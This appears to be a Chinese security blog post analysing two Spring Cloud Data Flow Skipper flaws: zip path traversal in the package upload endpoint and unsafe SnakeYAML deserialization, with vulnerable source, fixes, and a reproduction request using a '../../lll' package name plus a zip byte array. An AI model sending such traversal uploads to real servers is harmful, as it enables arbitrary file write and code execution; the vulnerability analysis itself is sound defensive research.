当前位置: 首页 > news >正文

【网络安全】记一次漏洞挖掘

Spring Cloud Data Flow 热点漏洞详细分析

环境搭建
2.10.0 - 2.11.2版本都可以,这里下的2.11.2

源码下载https://github.com/spring-cloud/spring-cloud-dataflow/tree/v2.11.2

在src/docker-compose里面是有docker文件的,使用docker即可

在这里插入图片描述
最近是爆出了两个漏洞的,不过入口都是一样的

任意文件写入

漏洞描述

https://avd.aliyun.com/detail?id=AVD-2024-22263

影响范围:2.10.0 - 2.11.2

Spring Cloud Data Flow(SCDF)是一个基于微服务的工具包,用于在 Cloud Foundry 和 Kubernetes 中构建流式和批量数据处理管道。在受影响版本中,Skipper Server在接收上传请求时对zip文件中的路径校验不严,具有 Skipper Server API 访问权限的攻击者可以通过上传请求将任意文件写入文件系统中的任意位置,从而获得服务器权限。

漏洞分析

我们根据阿里云给出的漏洞通告定位到上传zip文件的地方

来到PackageController.java

@RequestMapping(path = "/upload", method = RequestMethod.POST)
@ResponseStatus(HttpStatus.CREATED)
public EntityModel<PackageMetadata> upload(@RequestBody UploadRequest uploadRequest) {return this.packageMetadataResourceAssembler.toModel(this.packageService.upload(uploadRequest));
}

跟进会来到packageService的upload方法

代码比较长,首先是进入validateUploadRequest(uploadRequest);

点击领取CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部教程

判断请求是否合法,跟进看看

private void validateUploadRequest(UploadRequest uploadRequest) {Assert.notNull(uploadRequest.getRepoName(), "Repo name can not be null");Assert.notNull(uploadRequest.getName(), "Name of package can not be null");Assert.notNull(uploadRequest.getVersion(), "Version can not be null");try {Version.valueOf(uploadRequest.getVersion().trim());}catch (ParseException e) {throw new SkipperException("UploadRequest doesn't have a valid semantic version.  Version = " +uploadRequest.getVersion().trim());}Assert.notNull(uploadRequest.getExtension(), "Extension can not be null");Assert.isTrue(uploadRequest.getExtension().equals("zip"), "Extension must be 'zip', not "+ uploadRequest.getExtension());Assert.notNull(uploadRequest.getPackageFileAsBytes(), "Package file as bytes must not be null");Assert.isTrue(uploadRequest.getPackageFileAsBytes().length != 0, "Package file as bytes must not be empty");PackageMetadata existingPackageMetadata = this.packageMetadataRepository.findByRepositoryNameAndNameAndVersion(uploadRequest.getRepoName().trim(), uploadRequest.getName().trim(), uploadRequest.getVersion().trim());if (existingPackageMetadata != null) {throw new SkipperException(String.format("Failed to upload the package. " + "" +"Package [%s:%s] in Repository [%s] already exists.",uploadRequest.getName(), uploadRequest.getVersion(), uploadRequest.getRepoName().trim()));}
}

首先是对一个属性值的检测,不能为null

然后扩展也就是文件名后缀必须为zip

然后读取数据是通过getPackageFileAsBytes来读取的,根据旁边的报错也知道必须是array型的byte

回到uoplaod方法

来到Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());

跟进方法

private Repository getRepositoryToUpload(String repoName) {Repository localRepositoryToUpload = this.repositoryRepository.findByName(repoName);if (localRepositoryToUpload == null) {throw new SkipperException("Could not find local repository to upload to named " + repoName);}if (!localRepositoryToUpload.isLocal()) {throw new SkipperException("Repository to upload to is not a local database hosted repository.");}return localRepositoryToUpload;
}

可以看到localRepositoryToUpload是必须有值的是从repositoryRepository里面找的

调试发现其中只有一个local,如果不抛出异常,我们的repoName只是为local

回到upload

重点看到

Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-"+ uploadRequest.getVersion() + "." + uploadRequest.getExtension());
Assert.isTrue(packageDir.exists(), "Package directory doesn't exist.");
Files.write(packageFile, uploadRequest.getPackageFileAsBytes());
把我们的数据写入到packageFile中,然后进行解压到packageDir下ZipUtil.unpack(packageFile.toFile(), packageDir);

packgdir是没有过滤…/这种目录穿越字符

File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
我们可以解压文件到任意目录下,然后getshell就轻而易举了

漏洞复现

首先我们需要制作一个zip文件,然后测试漏洞存在的话数据其实不重要的,能证明解压到任意目录就ok

新建一个文件,然后压缩为zip文件,之后使用脚本

def zip_to_byte_list(zip_file_path):with open(zip_file_path, 'rb') as file:zip_data = file.read()return [byte for byte in zip_data]zip_file_path = '1.zip'
zip_byte_list = zip_to_byte_list(zip_file_path)
print(zip_byte_list)

转为byte

内容如下

[80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 49, 46, 116, 120, 116, 80, 75, 1, 2, 20, 0, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 36, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 49, 46, 116, 120, 116, 10, 0, 32, 0, 0, 0, 0, 0, 1, 0, 24, 0, 0, 165, 60, 191, 106, 174, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 87, 0, 0, 0, 35, 0, 0, 0, 0, 0]

然后发送请求包,通过name来实现目录穿越

{"repoName":"local","name":"../../lll","version":"1.1.1","extension":"zip","packageFileAsBytes":[80, 75, 3, 4, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 0, 0, 49, 46, 116, 120, 116, 80, 75, 1, 2, 20, 0, 20, 0, 0, 0, 0, 0, 195, 113, 185, 88, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 5, 0, 36, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 49, 46, 116, 120, 116, 10, 0, 32, 0, 0, 0, 0, 0, 1, 0, 24, 0, 0, 165, 60, 191, 106, 174, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 5, 122, 215, 243, 33, 175, 218, 1, 80, 75, 5, 6, 0, 0, 0, 0, 1, 0, 1, 0, 87, 0, 0, 0, 35, 0, 0, 0, 0, 0]}

进入lll目录,查找是否有1.txt即可

在这里插入图片描述

漏洞修复

在这里插入图片描述![在这里插

可以看到对路径做了标准化的处理

YAML反序列化

本质上原因和CVE-2024-22263是一样的,都是upload接口造成的危害,只是sink点不一样

漏洞描述

参考https://avd.aliyun.com/detail?id=AVD-2024-37084

Spring Cloud Data Flow(SCDF)是一个基于微服务的工具包,用于在 Cloud Foundry 和 Kubernetes 中构建流式和批量数据处理管道。在受影响版本中Skipper 服务器在处理文件上传时没有对路径进行验证,拥有 Skipper 服务器 API 访问权限攻击者可以通过构造恶意请求将 YAML 文件写入服务器的任意位置,同时由于 PackageMetadata 的创建过程中使用默认构造器反序列化 YAML 数据,从而导致任意代码执行。

漏洞分析

可以看到是yaml反序列化的漏洞,是通过写yaml文件来反序列化的

依然来到/api/package/upload这个接口

漏洞触发点是在DefaultPackageReader的read方法

在upload中

在这里插入图片描述

只要不抛出异常,就会执行read方法

然后isTrue就是判断我们的unzippedPath是否存在,这个path是来自

String unzippedPath = packageDir.getAbsolutePath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion();
如果输入的是lll,拼起来就是lll-1.1.1,但是实际解压的时候我们的就是lll,其实解决办法很简单,就是重新创建一个文件夹,叫做lll-1.1.1就好了

下面才是关键,进入read方法

传入的参数是unpackagedFile,也就是解压后的文件

主要漏洞点出现在

在这里插入图片描述

这里会判断我们的文件名(解压后)是否等于package.yaml或者package.yml

如果等于调用loadPackageMetadata方法去加载

private PackageMetadata loadPackageMetadata(File file) {// The Representer will not try to set the value in the YAML on the// Java object if it isn't present on the objectDumperOptions options = new DumperOptions();Representer representer = new Representer(options);representer.getPropertyUtils().setSkipMissingProperties(true);LoaderOptions loaderOptions = new LoaderOptions();Yaml yaml = new Yaml(new Constructor(PackageMetadata.class, loaderOptions), representer);String fileContents = null;try {fileContents = FileUtils.readFileToString(file);}catch (IOException e) {throw new SkipperException("Error reading yaml file", e);}PackageMetadata pkgMetadata = (PackageMetadata) yaml.load(fileContents);return pkgMetadata;
}

可以看见就是把文件内容读取出来,然后放入yaml.load去反序列化

漏洞修复

使用的yaml是继承自 SnakeYAML 的 SafeConstructor,SafeConstructor 是一个更加安全的 YAML 解析器
在这里插入图片描述

相关文章:

【网络安全】记一次漏洞挖掘

Spring Cloud Data Flow 热点漏洞详细分析 环境搭建 2.10.0 - 2.11.2版本都可以&#xff0c;这里下的2.11.2 源码下载https://github.com/spring-cloud/spring-cloud-dataflow/tree/v2.11.2 在src/docker-compose里面是有docker文件的&#xff0c;使用docker即可 最近是爆出…...

Redis遇到Hash冲突怎么办?

这是小伙伴之前遇到的一个面试题&#xff0c;感觉也是一个经典八股&#xff0c;和大伙分享下。 一 什么是 Hash 冲突 Hash 冲突&#xff0c;也称为 Hash 碰撞&#xff0c;是指不同的关键字通过 Hash 函数计算得到了相同的 Hash 地址。 Hash 冲突在 Hash 表中是不可避免的&am…...

React综合指南(四)

61、描述React事件处理。 为了解决跨浏览器兼容性问题&#xff0c;React中的事件处理程序将传递SyntheticEvent实例&#xff0c;该实例是React跨浏览器本机事件的跨浏览器包装器。这些综合事件具有与您惯用的本机事件相同的界面&#xff0c;除了它们在所有浏览器中的工作方式相…...

Spring集成Redisson及存取几种基本类型数据

目录 一.什么是Redisson 二.为什么要使用Redisson 三.Spring集成Redisson 1.添加依赖 2.添加配置信息 3.添加redisson配置类 四.Redisson存取各种类型数据 1.字符串(String类型) 存储 获取 2.object对象类型 1.实体类信息 2.存储 3.获取 3.List集合类型 第一种…...

Maplibre-gl\Mapbox-gl改造支持对矢量瓦片加密

Maplibre-gl是Mapbox-gl剔除自带地图服务之后的一个分支,代码很相似。Maplibre-gl\Mapbox-gl使用的pbf格式的矢量瓦片,数据量小,渲染效果好。但也存在着信息泄露的风险。但如果想使用这个开发框架的前端渲染效果,还必须要使用这个格式。最近研究了一下如何对矢量瓦片进行加…...

【功能安全】技术安全概念TSC

目录 01 TSC定义 02 TSC注意事项 03 TSC案例 📖 推荐阅读 01 TSC定义 所处位置 TSC:Technical safety concept技术安全概念 TSR:Technical safety requirement技术安全需求 在系统开发阶段属于安全活动4-6 系统层产品开发示例 TSC目的...

Spark数据源的读取与写入、自定义函数

1. 数据源的读取与写入 1.1 数据读取 读文件 read.jsonread.csv csv文件由两个部分组成&#xff1a;头部数据&#xff08;也就是字段数据&#xff09;、行数据。 read.orc 读数据库 read.jdbc(jdbc连接地址,table‘表名’,properties{‘user’用户名,‘password’密码,‘driv…...

LeetCode 每日一题 2024/10/14-2024/10/20

记录了初步解题思路 以及本地实现代码&#xff1b;并不一定为最优 也希望大家能一起探讨 一起进步 目录 10/14 887. 鸡蛋掉落10/15 3200. 三角形的最大高度10/16 3194. 最小元素和最大元素的最小平均值10/17 3193. 统计逆序对的数目10/18 3191. 使二进制数组全部等于 1 的最少操…...

接口测试(六)jmeter——参数化(配置元件 --> 用户定义的变量)

一、jmeter——参数化&#xff08;配置元件 --> 用户定义的变量&#xff09; 注&#xff1a;示例仅供参考 1. 参数化格式&#xff1a;${变量名} 2. 配置元件&#xff1a;用户定义的变量 3. 添加【用户定义的变量】&#xff0c;【线程组】–>【添加】–>【配置元件】–…...

【学习笔记】网络流

背景 马上ICPC了&#xff0c;很惊奇的发现自己没整理网络流的板子。 最大流 dinic 这里选用的是二分图最大匹配的板子&#xff1a;飞行员配对方案问题 #include<bits/stdc.h> #define int long long using namespace std; const int N1e67,inf1e18; struct E {int to…...

【鸡翅Club】项目启动

一、项目背景 这是一个 C端的社区项目&#xff0c;有博客、交流&#xff0c;面试学习&#xff0c;练题等模块。 项目的背景主要是我们想要通过面试题的分类&#xff0c;难度&#xff0c;打标&#xff0c;来评估员工的技术能力。同时在我们公司招聘季的时候&#xff0c;极大的…...

python+大数据+基于热门视频的数据分析研究【内含源码+文档+部署教程】

博主介绍&#xff1a;✌全网粉丝10W,前互联网大厂软件研发、集结硕博英豪成立工作室。专注于计算机相关专业毕业设计项目实战6年之久&#xff0c;选择我们就是选择放心、选择安心毕业✌ &#x1f345;由于篇幅限制&#xff0c;想要获取完整文章或者源码&#xff0c;或者代做&am…...

【电子电力】基于PMU相量测量单元的电力系统状态评估

摘要 相量测量单元&#xff08;PMU&#xff09;作为一种精确且快速的实时监控设备&#xff0c;在电力系统状态评估中发挥了重要作用。本文研究了在没有PMU和部署PMU情况下&#xff0c;电力系统的电压角度和电压幅值估计误差的差异。通过比较实验结果&#xff0c;发现PMU的应用…...

ubuntu修改默认开机模式(图形/终端)

将 Ubuntu 16 系统设置为开机进入终端模式&#xff1a; 打开终端。编辑 Grub 配置文件&#xff1a;sudo nano /etc/default/grub。找到 GRUB_CMDLINE_LINUX_DEFAULT 行&#xff0c;将其修改为 GRUB_CMDLINE_LINUX_DEFAULT"text"。保存并退出编辑器&#xff08;Ctrl …...

LaMI-DETR:基于GPT丰富优化的开放词汇目标检测 | ECCV‘24

现有的方法通过利用视觉-语言模型&#xff08;VLMs&#xff09;&#xff08;如CLIP&#xff09;强大的开放词汇识别能力来增强开放词汇目标检测&#xff0c;然而出现了两个主要挑战&#xff1a;&#xff08;1&#xff09;概念表示不足&#xff0c;CLIP文本空间中的类别名称缺乏…...

AI大模型是否有助于攻克重大疾病?

AI大模型在攻克重大疾病方面展现出了巨大的潜力&#xff0c;特别是在疾病预测、药物研发、个性化医疗等领域有着广泛应用。具体来说&#xff0c;AI大模型能够帮助以下几方面&#xff1a; 1、疾病预测与诊断&#xff1a;AI大模型通过分析海量的医学数据&#xff0c;可以提高重大…...

【渗透测试】-红日靶场-获取web服务器权限

拓扑图&#xff1a; 前置环境配置&#xff1a; Win 7 默认密码&#xff1a;hongrisec201 内网ip:192.168.52.143 打开虚拟网络编辑器 添加网络->VMent1->仅主机模式->子网ip:192.168.145.0 添加网卡&#xff1a; 虚拟机->设置-> 添加->网络适配器 保存&a…...

python 深度学习 项目调试 图像分割 segment-anything

起因&#xff0c; 目的: 项目来源: https://github.com/facebookresearch/segment-anything项目目的: 图像分割。 提前图片中的某个目标。facebook 出品&#xff0c; 居然有 47.3k star! 思考一些问题 我可以用这个项目来做什么?给一个图片&#xff0c; 进行分割&#xff0…...

【GO实战课】第六讲:电子商务网站(6):支付和订单处理

1. 简介 本课程将探讨电子商务网站的支付和订单处理功能,以及使用GO语言实现。在本课程中,我们将介绍如何设计一个可扩展、可靠和高性能的支付和订单处理系统,并演示如何使用GO语言编写相关代码。 本课程的目标是帮助学生理解电子商务网站的支付和订单处理功能,并提供一个…...

专题十三_记忆化搜索_算法专题详细总结

目录 1. 斐波那契数&#xff08;easy&#xff09; 那么这里就画出它的决策树 &#xff1a; 解法一&#xff1a;递归暴搜 解法二&#xff1a;记忆化搜索 解法三&#xff1a;动态规划 1.暴力解法&#xff08;暴搜&#xff09; 2.对优化解法的优化&#xff1a;把已经计算过的…...

Mybatis逆向工程,动态创建实体类、条件扩展类、Mapper接口、Mapper.xml映射文件

今天呢&#xff0c;博主的学习进度也是步入了Java Mybatis 框架&#xff0c;目前正在逐步杨帆旗航。 那么接下来就给大家出一期有关 Mybatis 逆向工程的教学&#xff0c;希望能对大家有所帮助&#xff0c;也特别欢迎大家指点不足之处&#xff0c;小生很乐意接受正确的建议&…...

CentOS下的分布式内存计算Spark环境部署

一、Spark 核心架构与应用场景 1.1 分布式计算引擎的核心优势 Spark 是基于内存的分布式计算框架&#xff0c;相比 MapReduce 具有以下核心优势&#xff1a; 内存计算&#xff1a;数据可常驻内存&#xff0c;迭代计算性能提升 10-100 倍&#xff08;文档段落&#xff1a;3-79…...

Keil 中设置 STM32 Flash 和 RAM 地址详解

文章目录 Keil 中设置 STM32 Flash 和 RAM 地址详解一、Flash 和 RAM 配置界面(Target 选项卡)1. IROM1(用于配置 Flash)2. IRAM1(用于配置 RAM)二、链接器设置界面(Linker 选项卡)1. 勾选“Use Memory Layout from Target Dialog”2. 查看链接器参数(如果没有勾选上面…...

从零开始打造 OpenSTLinux 6.6 Yocto 系统(基于STM32CubeMX)(九)

设备树移植 和uboot设备树修改的内容同步到kernel将设备树stm32mp157d-stm32mp157daa1-mx.dts复制到内核源码目录下 源码修改及编译 修改arch/arm/boot/dts/st/Makefile&#xff0c;新增设备树编译 stm32mp157f-ev1-m4-examples.dtb \stm32mp157d-stm32mp157daa1-mx.dtb修改…...

让回归模型不再被异常值“带跑偏“,MSE和Cauchy损失函数在噪声数据环境下的实战对比

在机器学习的回归分析中&#xff0c;损失函数的选择对模型性能具有决定性影响。均方误差&#xff08;MSE&#xff09;作为经典的损失函数&#xff0c;在处理干净数据时表现优异&#xff0c;但在面对包含异常值的噪声数据时&#xff0c;其对大误差的二次惩罚机制往往导致模型参数…...

LINUX 69 FTP 客服管理系统 man 5 /etc/vsftpd/vsftpd.conf

FTP 客服管理系统 实现kefu123登录&#xff0c;不允许匿名访问&#xff0c;kefu只能访问/data/kefu目录&#xff0c;不能查看其他目录 创建账号密码 useradd kefu echo 123|passwd -stdin kefu [rootcode caozx26420]# echo 123|passwd --stdin kefu 更改用户 kefu 的密码…...

CRMEB 中 PHP 短信扩展开发:涵盖一号通、阿里云、腾讯云、创蓝

目前已有一号通短信、阿里云短信、腾讯云短信扩展 扩展入口文件 文件目录 crmeb\services\sms\Sms.php 默认驱动类型为&#xff1a;一号通 namespace crmeb\services\sms;use crmeb\basic\BaseManager; use crmeb\services\AccessTokenServeService; use crmeb\services\sms\…...

Git常用命令完全指南:从入门到精通

Git常用命令完全指南&#xff1a;从入门到精通 一、基础配置命令 1. 用户信息配置 # 设置全局用户名 git config --global user.name "你的名字"# 设置全局邮箱 git config --global user.email "你的邮箱example.com"# 查看所有配置 git config --list…...

适应性Java用于现代 API:REST、GraphQL 和事件驱动

在快速发展的软件开发领域&#xff0c;REST、GraphQL 和事件驱动架构等新的 API 标准对于构建可扩展、高效的系统至关重要。Java 在现代 API 方面以其在企业应用中的稳定性而闻名&#xff0c;不断适应这些现代范式的需求。随着不断发展的生态系统&#xff0c;Java 在现代 API 方…...

数据库正常,但后端收不到数据原因及解决

从代码和日志来看&#xff0c;后端SQL查询确实返回了数据&#xff0c;但最终user对象却为null。这表明查询结果没有正确映射到User对象上。 在前后端分离&#xff0c;并且ai辅助开发的时候&#xff0c;很容易出现前后端变量名不一致情况&#xff0c;还不报错&#xff0c;只是单…...